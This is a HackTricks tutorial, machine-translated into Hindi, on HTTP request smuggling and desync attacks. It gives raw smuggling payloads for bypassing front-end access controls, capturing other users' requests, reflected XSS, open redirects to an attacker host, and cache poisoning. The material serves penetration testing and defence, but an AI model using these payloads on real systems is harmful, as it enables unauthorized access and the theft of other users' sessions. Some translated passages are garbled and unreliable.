HTTP Request Smuggling / HTTP Desync Attack

Reading time: 30 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

What is

यह सुरक्षा कमी तब होती है जब फ्रंट-एंड प्रॉक्सी और बैक-एंड सर्वर के बीच डिसिंक्रोनाइजेशन एक हमलावर को एक HTTP अनुरोध भेजने की अनुमति देता है जिसे फ्रंट-एंड प्रॉक्सी (लोड बैलेंस/रिवर्स-प्रॉक्सी) द्वारा एकल अनुरोध के रूप में और बैक-एंड सर्वर द्वारा 2 अनुरोध के रूप में व्याख्यायित किया जाएगा।
यह एक उपयोगकर्ता को उसके बाद बैक-एंड सर्वर पर आने वाले अगले अनुरोध को संशोधित करने की अनुमति देता है।

Theory

RFC Specification (2161)

यदि एक संदेश दोनों Transfer-Encoding हेडर फ़ील्ड और Content-Length हेडर फ़ील्ड के साथ प्राप्त होता है, तो बाद वाले को अनदेखा किया जाना चाहिए।

Content-Length

Content-Length एंटिटी हेडर उस एंटिटी-शरीर के आकार को दर्शाता है, जो प्राप्तकर्ता को भेजा गया है, बाइट्स में।

Transfer-Encoding: chunked

Transfer-Encoding हेडर उस एन्कोडिंग के रूप को निर्दिष्ट करता है जिसका उपयोग सुरक्षित रूप से पेलोड शरीर को उपयोगकर्ता तक पहुँचाने के लिए किया जाता है।
Chunked का अर्थ है कि बड़े डेटा को कई टुकड़ों में भेजा जाता है।

Reality

फ्रंट-एंड (एक लोड-बैलेंस / रिवर्स प्रॉक्सी) content-length या transfer-encoding हेडर को प्रोसेस करता है और बैक-एंड सर्वर दूसरे को प्रोसेस करता है जिससे 2 सिस्टमों के बीच डिसिंक्रोनाइजेशन उत्पन्न होता है।
यह बहुत महत्वपूर्ण हो सकता है क्योंकि एक हमलावर एक अनुरोध भेजने में सक्षम होगा जो रिवर्स प्रॉक्सी को व्याख्यायित किया जाएगा बैक-एंड सर्वर द्वारा 2 अलग-अलग अनुरोधों के रूप में। इस तकनीक का खतरा इस तथ्य में निहित है कि बैक-एंड सर्वर 2nd अनुरोध को इंजेक्ट किया गया के रूप में व्याख्यायित करेगा जैसे कि यह अगले क्लाइंट से आया हो और उस क्लाइंट का वास्तविक अनुरोध इंजेक्टेड अनुरोध का भाग होगा।

Particularities

याद रखें कि HTTP में एक नई पंक्ति का वर्ण 2 बाइट्स से बना होता है:

  • Content-Length: यह हेडर अनुरोध के शरीर के बाइट्स की संख्या को इंगित करने के लिए दशमलव संख्या का उपयोग करता है। शरीर को अंतिम वर्ण में समाप्त होने की उम्मीद है, अनुरोध के अंत में नई पंक्ति की आवश्यकता नहीं है।
  • Transfer-Encoding: यह हेडर शरीर में अंकित संख्या का उपयोग करता है जो अगले टुकड़े के बाइट्स की संख्या को इंगित करता है। टुकड़ा को नई पंक्ति के साथ समाप्त होना चाहिए लेकिन यह नई पंक्ति लंबाई संकेतक द्वारा गिनी नहीं जाती। इस ट्रांसफर विधि को 0 आकार के टुकड़े के साथ समाप्त होना चाहिए जिसके बाद 2 नई पंक्तियाँ हों: 0
  • Connection: मेरे अनुभव के आधार पर, अनुरोध स्मगलिंग के पहले अनुरोध पर Connection: keep-alive का उपयोग करने की सिफारिश की जाती है।

Basic Examples

tip

जब Burp Suite के साथ इसका शोषण करने की कोशिश कर रहे हों तो Update Content-Length और Normalize HTTP/1 line endings को रिपीटर में बंद करें क्योंकि कुछ गैजेट नई पंक्तियों, कैरिज रिटर्न और गलत सामग्री-लंबाई का दुरुपयोग करते हैं।

HTTP अनुरोध स्मगलिंग हमलों को अस्पष्ट अनुरोध भेजकर तैयार किया जाता है जो Content-Length (CL) और Transfer-Encoding (TE) हेडरों की व्याख्या में फ्रंट-एंड और बैक-एंड सर्वरों के बीच असंगतियों का लाभ उठाते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से CL.TE, TE.CL, और TE.TE के रूप में। प्रत्येक प्रकार उन हेडरों को प्राथमिकता देने के तरीके का एक अद्वितीय संयोजन दर्शाता है। कमजोरियाँ तब उत्पन्न होती हैं जब सर्वर एक ही अनुरोध को विभिन्न तरीकों से प्रोसेस करते हैं, जिससे अप्रत्याशित और संभावित रूप से दुर्भावनापूर्ण परिणाम होते हैं।

Basic Examples of Vulnerability Types

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

note

पिछले तालिका में आपको TE.0 तकनीक जोड़नी चाहिए, जैसे CL.0 तकनीक लेकिन Transfer Encoding का उपयोग करते हुए।

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • फ्रंट-एंड (CL): Content-Length हेडर के आधार पर अनुरोध को प्रोसेस करता है।

  • बैक-एंड (TE): Transfer-Encoding हेडर के आधार पर अनुरोध को प्रोसेस करता है।

  • हमला परिदृश्य:

  • हमलावर एक अनुरोध भेजता है जहाँ Content-Length हेडर का मान वास्तविक सामग्री की लंबाई से मेल नहीं खाता।

  • फ्रंट-एंड सर्वर Content-Length मान के आधार पर पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।

  • बैक-एंड सर्वर Transfer-Encoding: chunked हेडर के कारण अनुरोध को टुकड़ों के रूप में प्रोसेस करता है, शेष डेटा को एक अलग, अगला अनुरोध के रूप में व्याख्यायित करता है।

  • उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • फ्रंट-एंड (TE): Transfer-Encoding हेडर के आधार पर अनुरोध को प्रोसेस करता है।

  • बैक-एंड (CL): Content-Length हेडर के आधार पर अनुरोध को प्रोसेस करता है।

  • हमला परिदृश्य:

  • हमलावर एक टुकड़ा अनुरोध भेजता है जहाँ टुकड़े का आकार (7b) और वास्तविक सामग्री की लंबाई (Content-Length: 4) मेल नहीं खाती।

  • फ्रंट-एंड सर्वर, Transfer-Encoding का सम्मान करते हुए, पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।

  • बैक-एंड सर्वर, Content-Length का सम्मान करते हुए, केवल अनुरोध के प्रारंभिक भाग (7b बाइट्स) को प्रोसेस करता है, शेष को एक अनपेक्षित अगला अनुरोध के भाग के रूप में छोड़ देता है।

  • उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • सर्वर: दोनों Transfer-Encoding का समर्थन करते हैं, लेकिन एक को धोखे के माध्यम से अनदेखा करने के लिए धोखा दिया जा सकता है।

  • हमला परिदृश्य:

  • हमलावर एक अनुरोध भेजता है जिसमें धोखे के Transfer-Encoding हेडर होते हैं।

  • जिस सर्वर (फ्रंट-एंड या बैक-एंड) को धोखे को पहचानने में विफलता होती है, उस पर CL.TE या TE.CL कमजोरी का लाभ उठाया जा सकता है।

  • अनुरोध का अप्रसंस्कृत भाग, जैसा कि एक सर्वर द्वारा देखा जाता है, एक अगला अनुरोध का भाग बन जाता है, जिससे स्मगलिंग होती है।

  • उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length used by both Front-End and Back-End)

  • दोनों सर्वर केवल Content-Length हेडर के आधार पर अनुरोध को प्रोसेस करते हैं।
  • यह परिदृश्य आमतौर पर स्मगलिंग की ओर नहीं ले जाता है, क्योंकि दोनों सर्वर अनुरोध की लंबाई की व्याख्या में संरेखित होते हैं।
  • उदाहरण:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • उन परिदृश्यों को संदर्भित करता है जहाँ Content-Length हेडर मौजूद है और इसका मान शून्य के अलावा है, यह संकेत करते हुए कि अनुरोध शरीर में सामग्री है। बैक-एंड Content-Length हेडर को अनदेखा करता है (जिसे 0 के रूप में माना जाता है), लेकिन फ्रंट-एंड इसे पार्स करता है।
  • यह समझने और स्मगलिंग हमलों को तैयार करने में महत्वपूर्ण है, क्योंकि यह प्रभावित करता है कि सर्वर अनुरोध के अंत का निर्धारण कैसे करते हैं।
  • उदाहरण:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

वेब सर्वर को तोड़ना

यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ प्रारंभिक HTTP डेटा पढ़ते समय एक वेब सर्वर को तोड़ना संभव है लेकिन कनेक्शन को बंद किए बिना। इस तरह, HTTP अनुरोध का शरीर अगले HTTP अनुरोध के रूप में माना जाएगा।

उदाहरण के लिए, जैसा कि इस लेख में समझाया गया है, Werkzeug में कुछ Unicode वर्ण भेजना संभव था और इससे सर्वर टूट जाएगा। हालाँकि, यदि HTTP कनेक्शन Connection: keep-alive हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का शरीर अगले HTTP अनुरोध के रूप में माना जाएगा।

हॉप-बाय-हॉप हेडर के माध्यम से मजबूर करना

हॉप-बाय-हॉप हेडर का दुरुपयोग करते हुए आप प्रॉक्सी को हेडर Content-Length या Transfer-Encoding को हटाने के लिए संकेत दे सकते हैं ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके।

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Finding HTTP Request Smuggling

HTTP request smuggling कमजोरियों की पहचान अक्सर समय तकनीकों का उपयोग करके की जा सकती है, जो यह देखने पर निर्भर करती हैं कि सर्वर को हेरफेर किए गए अनुरोधों का जवाब देने में कितना समय लगता है। ये तकनीकें CL.TE और TE.CL कमजोरियों का पता लगाने के लिए विशेष रूप से उपयोगी हैं। इन तरीकों के अलावा, ऐसी कमजोरियों को खोजने के लिए अन्य रणनीतियाँ और उपकरण भी हैं:

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Method:

  • एक अनुरोध भेजें जो, यदि एप्लिकेशन कमजोर है, तो बैक-एंड सर्वर को अतिरिक्त डेटा की प्रतीक्षा करने के लिए मजबूर करेगा।

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • Observation:

  • फ्रंट-एंड सर्वर Content-Length के आधार पर अनुरोध को संसाधित करता है और संदेश को समय से पहले काट देता है।

  • बैक-एंड सर्वर, जो एक चंक्ड संदेश की अपेक्षा करता है, अगले चंक की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।

  • Indicators:

  • प्रतिक्रिया में टाइमआउट या लंबी देरी।

  • बैक-एंड सर्वर से 400 Bad Request त्रुटि प्राप्त करना, कभी-कभी विस्तृत सर्वर जानकारी के साथ।

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Method:

  • एक अनुरोध भेजें जो, यदि एप्लिकेशन कमजोर है, तो बैक-एंड सर्वर को अतिरिक्त डेटा की प्रतीक्षा करने के लिए मजबूर करेगा।

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • फ्रंट-एंड सर्वर Transfer-Encoding के आधार पर अनुरोध को संसाधित करता है और पूरे संदेश को आगे बढ़ाता है।
  • बैक-एंड सर्वर, जो Content-Length के आधार पर एक संदेश की अपेक्षा करता है, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।

Other Methods to Find Vulnerabilities

  • Differential Response Analysis:
  • अनुरोध के थोड़े भिन्न संस्करण भेजें और देखें कि क्या सर्वर प्रतिक्रियाएँ अप्रत्याशित तरीके से भिन्न होती हैं, जो एक पार्सिंग विसंगति को इंगित करती हैं।
  • Using Automated Tools:
  • Burp Suite के 'HTTP Request Smuggler' एक्सटेंशन जैसे उपकरण स्वचालित रूप से इन कमजोरियों का परीक्षण कर सकते हैं, विभिन्न प्रकार के अस्पष्ट अनुरोध भेजकर और प्रतिक्रियाओं का विश्लेषण करके।
  • Content-Length Variance Tests:
  • ऐसे अनुरोध भेजें जिनमें भिन्न Content-Length मान हों जो वास्तविक सामग्री की लंबाई के साथ मेल नहीं खाते और देखें कि सर्वर ऐसे असंगतियों को कैसे संभालता है।
  • Transfer-Encoding Variance Tests:
  • अस्पष्ट या गलत Transfer-Encoding हेडर वाले अनुरोध भेजें और देखें कि फ्रंट-एंड और बैक-एंड सर्वर ऐसे हेरफेर पर कैसे प्रतिक्रिया करते हैं।

HTTP Request Smuggling Vulnerability Testing

समय तकनीकों की प्रभावशीलता की पुष्टि करने के बाद, यह सत्यापित करना महत्वपूर्ण है कि क्या क्लाइंट अनुरोधों को हेरफेर किया जा सकता है। एक सीधा तरीका यह है कि आप अपने अनुरोधों को विषाक्त बनाने का प्रयास करें, उदाहरण के लिए, / पर एक अनुरोध करना जिससे 404 प्रतिक्रिया प्राप्त हो। पहले चर्चा किए गए CL.TE और TE.CL उदाहरण Basic Examples में दिखाते हैं कि कैसे एक क्लाइंट के अनुरोध को विषाक्त करके 404 प्रतिक्रिया प्राप्त की जा सकती है, भले ही क्लाइंट एक अलग संसाधन तक पहुँचने का प्रयास कर रहा हो।

Key Considerations

जब अन्य अनुरोधों में हस्तक्षेप करके अनुरोध स्मगलिंग कमजोरियों का परीक्षण करें, तो ध्यान में रखें:

  • Distinct Network Connections: "हमला" और "सामान्य" अनुरोधों को अलग-अलग नेटवर्क कनेक्शनों के माध्यम से भेजा जाना चाहिए। दोनों के लिए एक ही कनेक्शन का उपयोग करना कमजोरियों की उपस्थिति को मान्य नहीं करता है।
  • Consistent URL and Parameters: दोनों अनुरोधों के लिए समान URLs और पैरामीटर नामों का उपयोग करने का प्रयास करें। आधुनिक एप्लिकेशन अक्सर URL और पैरामीटर के आधार पर अनुरोधों को विशिष्ट बैक-एंड सर्वरों पर रूट करते हैं। इन्हें मेल करने से यह संभावना बढ़ती है कि दोनों अनुरोधों को एक ही सर्वर द्वारा संसाधित किया जाएगा, जो सफल हमले के लिए एक पूर्वापेक्षा है।
  • Timing and Racing Conditions: "सामान्य" अनुरोध, जो "हमला" अनुरोध से हस्तक्षेप का पता लगाने के लिए है, अन्य समवर्ती एप्लिकेशन अनुरोधों के खिलाफ प्रतिस्पर्धा करता है। इसलिए, "हमला" अनुरोध के तुरंत बाद "सामान्य" अनुरोध भेजें। व्यस्त एप्लिकेशन में कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
  • Load Balancing Challenges: फ्रंट-एंड सर्वर जो लोड बैलेंसर्स के रूप में कार्य करते हैं, अनुरोधों को विभिन्न बैक-एंड सिस्टमों में वितरित कर सकते हैं। यदि "हमला" और "सामान्य" अनुरोध विभिन्न सिस्टमों पर समाप्त होते हैं, तो हमला सफल नहीं होगा। यह लोड बैलेंसिंग पहलू कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
  • Unintended User Impact: यदि आपका हमला अनजाने में किसी अन्य उपयोगकर्ता के अनुरोध (जो "सामान्य" अनुरोध नहीं है जिसे आपने पहचान के लिए भेजा था) को प्रभावित करता है, तो यह इंगित करता है कि आपका हमला किसी अन्य एप्लिकेशन उपयोगकर्ता को प्रभावित करता है। निरंतर परीक्षण अन्य उपयोगकर्ताओं को बाधित कर सकता है, जिससे एक सतर्क दृष्टिकोण की आवश्यकता होती है।

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

कभी-कभी, फ्रंट-एंड प्रॉक्सी सुरक्षा उपाय लागू करते हैं, आने वाले अनुरोधों की जांच करते हैं। हालाँकि, इन उपायों को HTTP Request Smuggling का उपयोग करके दरकिनार किया जा सकता है, जिससे प्रतिबंधित एंडपॉइंट्स तक अनधिकृत पहुँच प्राप्त होती है। उदाहरण के लिए, /admin तक पहुँच बाहरी रूप से प्रतिबंधित हो सकती है, फ्रंट-एंड प्रॉक्सी सक्रिय रूप से ऐसे प्रयासों को रोकती है। फिर भी, यह प्रॉक्सी एक स्मगल्ड HTTP अनुरोध के भीतर एम्बेडेड अनुरोधों की जांच करने में विफल हो सकती है, जिससे इन प्रतिबंधों को दरकिनार करने के लिए एक छिद्र खुलता है।

HTTP Request Smuggling का उपयोग करके फ्रंट-एंड सुरक्षा नियंत्रणों को दरकिनार करने के तरीके को दर्शाने वाले निम्नलिखित उदाहरणों पर विचार करें, विशेष रूप से /admin पथ को लक्षित करते हुए जो आमतौर पर फ्रंट-एंड प्रॉक्सी द्वारा संरक्षित होता है:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE हमले में, प्रारंभिक अनुरोध के लिए Content-Length हेडर का उपयोग किया जाता है, जबकि बाद में एम्बेडेड अनुरोध Transfer-Encoding: chunked हेडर का उपयोग करता है। फ्रंट-एंड प्रॉक्सी प्रारंभिक POST अनुरोध को संसाधित करती है लेकिन एम्बेडेड GET /admin अनुरोध की जांच करने में विफल रहती है, जिससे /admin पथ तक अनधिकृत पहुंच की अनुमति मिलती है।

TE.CL उदाहरण

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

इसके विपरीत, TE.CL हमले में, प्रारंभिक POST अनुरोध Transfer-Encoding: chunked का उपयोग करता है, और इसके बाद का अंतर्निहित अनुरोध Content-Length हेडर के आधार पर संसाधित किया जाता है। CL.TE हमले के समान, फ्रंट-एंड प्रॉक्सी स्मगल्ड GET /admin अनुरोध को नजरअंदाज कर देती है, अनजाने में प्रतिबंधित /admin पथ तक पहुंच प्रदान करती है।

फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा

ऐप्लिकेशन अक्सर एक फ्रंट-एंड सर्वर का उपयोग करते हैं ताकि आने वाले अनुरोधों को संशोधित किया जा सके इससे पहले कि उन्हें बैक-एंड सर्वर को भेजा जाए। एक सामान्य संशोधन में हेडर जोड़ना शामिल होता है, जैसे X-Forwarded-For: <IP of the client>, ताकि क्लाइंट का IP बैक-एंड को भेजा जा सके। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह सुरक्षाओं को बायपास करने या छिपी हुई जानकारी या एंडपॉइंट्स को उजागर करने के तरीके प्रकट कर सकता है।

यह जांचने के लिए कि प्रॉक्सी एक अनुरोध को कैसे बदलती है, एक POST पैरामीटर खोजें जिसे बैक-एंड प्रतिक्रिया में प्रतिध्वनित करता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, इसे अंतिम स्थान पर रखते हुए, निम्नलिखित के समान:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

इस संरचना में, बाद के अनुरोध घटक search= के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परामर्शित पैरामीटर है। यह परावर्तन बाद के अनुरोध के हेडर को उजागर करेगा।

यह महत्वपूर्ण है कि नेस्टेड अनुरोध के Content-Length हेडर को वास्तविक सामग्री की लंबाई के साथ संरेखित किया जाए। एक छोटे मान से शुरू करना और धीरे-धीरे बढ़ाना सलाहकार है, क्योंकि बहुत कम मान परावर्तित डेटा को काट देगा, जबकि बहुत उच्च मान अनुरोध को त्रुटि में डाल सकता है।

यह तकनीक TE.CL भेद्यता के संदर्भ में भी लागू होती है, लेकिन अनुरोध को search=\r\n0 के साथ समाप्त होना चाहिए। नई लाइन के वर्णों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।

यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, मूल रूप से एक आत्म-निर्देशित जांच करते हुए।

अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना

यह संभव है कि अगले उपयोगकर्ता के अनुरोधों को एक विशेष अनुरोध को POST ऑपरेशन के दौरान एक पैरामीटर के मान के रूप में जोड़कर कैप्चर किया जाए। इसे कैसे किया जा सकता है, यहाँ है:

निम्नलिखित अनुरोध को एक पैरामीटर के मान के रूप में जोड़कर, आप अगले ग्राहक के अनुरोध को स्टोर कर सकते हैं:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

इस परिदृश्य में, comment parameter का उद्देश्य एक सार्वजनिक रूप से सुलभ पृष्ठ पर एक पोस्ट की टिप्पणी अनुभाग में सामग्री को संग्रहीत करना है। परिणामस्वरूप, अगले अनुरोध की सामग्री एक टिप्पणी के रूप में दिखाई देगी।

हालांकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डेलिमिटर तक डेटा कैप्चर करता है जो स्मगल किए गए अनुरोध में उपयोग किया गया है। URL-encoded फॉर्म सबमिशन के लिए, यह डेलिमिटर & अक्षर है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले & पर रुक जाएगी, जो कि क्वेरी स्ट्रिंग का हिस्सा भी हो सकती है।

इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह दृष्टिकोण TE.CL भेद्यता के साथ भी व्यवहार्य है। ऐसे मामलों में, अनुरोध को search=\r\n0 के साथ समाप्त होना चाहिए। नई लाइन अक्षरों की परवाह किए बिना, मानों को खोज पैरामीटर में जोड़ा जाएगा।

HTTP अनुरोध स्मगलिंग का उपयोग करके परावर्तित XSS का शोषण करना

HTTP Request Smuggling का उपयोग उन वेब पृष्ठों का शोषण करने के लिए किया जा सकता है जो Reflected XSS के प्रति संवेदनशील हैं, जो महत्वपूर्ण लाभ प्रदान करता है:

  • लक्षित उपयोगकर्ताओं के साथ संवाद की आवश्यकता नहीं है।
  • अनुरोध के उन हिस्सों में XSS का शोषण करने की अनुमति देता है जो सामान्यतः अप्राप्य होते हैं, जैसे HTTP अनुरोध हेडर।

उन परिदृश्यों में जहां एक वेबसाइट User-Agent हेडर के माध्यम से Reflected XSS के प्रति संवेदनशील है, निम्नलिखित पेलोड इस भेद्यता का शोषण करने का तरीका प्रदर्शित करता है:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

यह पेलोड इस कमजोरियों का लाभ उठाने के लिए संरचित है:

  1. एक POST अनुरोध शुरू करना, जो सामान्य प्रतीत होता है, जिसमें Transfer-Encoding: chunked हेडर होता है जो स्मगलिंग की शुरुआत को इंगित करता है।
  2. इसके बाद एक 0 आता है, जो चंक किए गए संदेश के शरीर के अंत को चिह्नित करता है।
  3. फिर, एक स्मगल किया गया GET अनुरोध पेश किया जाता है, जहां User-Agent हेडर में एक स्क्रिप्ट, <script>alert(1)</script>, इंजेक्ट की जाती है, जो सर्वर द्वारा इस बाद के अनुरोध को संसाधित करते समय XSS को ट्रिगर करती है।

User-Agent को स्मगलिंग के माध्यम से हेरफेर करके, पेलोड सामान्य अनुरोध सीमाओं को बायपास करता है, इस प्रकार एक गैर-मानक लेकिन प्रभावी तरीके से Reflected XSS कमजोरियों का लाभ उठाता है।

HTTP/0.9

caution

यदि उपयोगकर्ता की सामग्री एक Content-type के साथ प्रतिक्रिया में परिलक्षित होती है जैसे कि text/plain, तो XSS के निष्पादन को रोकता है। यदि सर्वर HTTP/0.9 का समर्थन करता है तो इसे बायपास करना संभव हो सकता है!

संस्करण HTTP/0.9 पहले 1.0 से था और केवल GET क्रियाओं का उपयोग करता है और हेडर के साथ प्रतिक्रिया नहीं करता है, केवल शरीर के साथ।

इस लेख में, इसका दुरुपयोग एक अनुरोध स्मगलिंग और एक कमजोर एंडपॉइंट के साथ किया गया जो उपयोगकर्ता के इनपुट के साथ प्रतिक्रिया देगा ताकि HTTP/0.9 के साथ एक अनुरोध को स्मगल किया जा सके। प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर एक नकली HTTP/1.1 प्रतिक्रिया (हेडर और शरीर के साथ) था ताकि प्रतिक्रिया में एक वैध निष्पादन योग्य JS कोड हो जिसमें Content-Type text/html हो।

HTTP अनुरोध स्मगलिंग के साथ ऑन-साइट रीडायरेक्ट का लाभ उठाना

ऐप्लिकेशन अक्सर एक URL से दूसरे URL पर रीडायरेक्ट करते हैं, रीडायरेक्ट URL में Host हेडर से होस्टनेम का उपयोग करके। यह Apache और IIS जैसे वेब सर्वरों के साथ सामान्य है। उदाहरण के लिए, बिना ट्रेलिंग स्लैश के एक फ़ोल्डर का अनुरोध करने पर रीडायरेक्ट होता है ताकि स्लैश शामिल किया जा सके:

GET /home HTTP/1.1
Host: normal-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

हालांकि यह व्यवहार हानिरहित प्रतीत होता है, इसे HTTP request smuggling का उपयोग करके उपयोगकर्ताओं को एक बाहरी साइट पर पुनर्निर्देशित करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

यह स्मगल किया गया अनुरोध अगले संसाधित उपयोगकर्ता अनुरोध को एक हमलावर-नियंत्रित वेबसाइट पर पुनर्निर्देशित कर सकता है:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

परिणाम:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

इस परिदृश्य में, एक उपयोगकर्ता की JavaScript फ़ाइल के लिए अनुरोध को हाईजैक किया जाता है। हमलावर संभावित रूप से उपयोगकर्ता को दुर्भावनापूर्ण JavaScript को प्रतिक्रिया में सर्व करके समझौता कर सकता है।

HTTP Request Smuggling के माध्यम से Web Cache Poisoning का शोषण

Web cache poisoning को निष्पादित किया जा सकता है यदि फ्रंट-एंड इन्फ्रास्ट्रक्चर के किसी भी घटक ने सामग्री को कैश किया है, आमतौर पर प्रदर्शन को बढ़ाने के लिए। सर्वर की प्रतिक्रिया को हेरफेर करके, कैश को ज़हरीला बनाना संभव है।

पहले, हमने देखा कि सर्वर की प्रतिक्रियाओं को 404 त्रुटि लौटाने के लिए कैसे बदला जा सकता है (देखें Basic Examples)। इसी तरह, सर्वर को /static/include.js के लिए अनुरोध के जवाब में /index.html सामग्री देने के लिए धोखा देना संभव है। परिणामस्वरूप, /static/include.js की सामग्री को कैश में /index.html की सामग्री से बदल दिया जाता है, जिससे /static/include.js उपयोगकर्ताओं के लिए अनुपलब्ध हो जाता है, जो संभावित रूप से Denial of Service (DoS) का कारण बन सकता है।

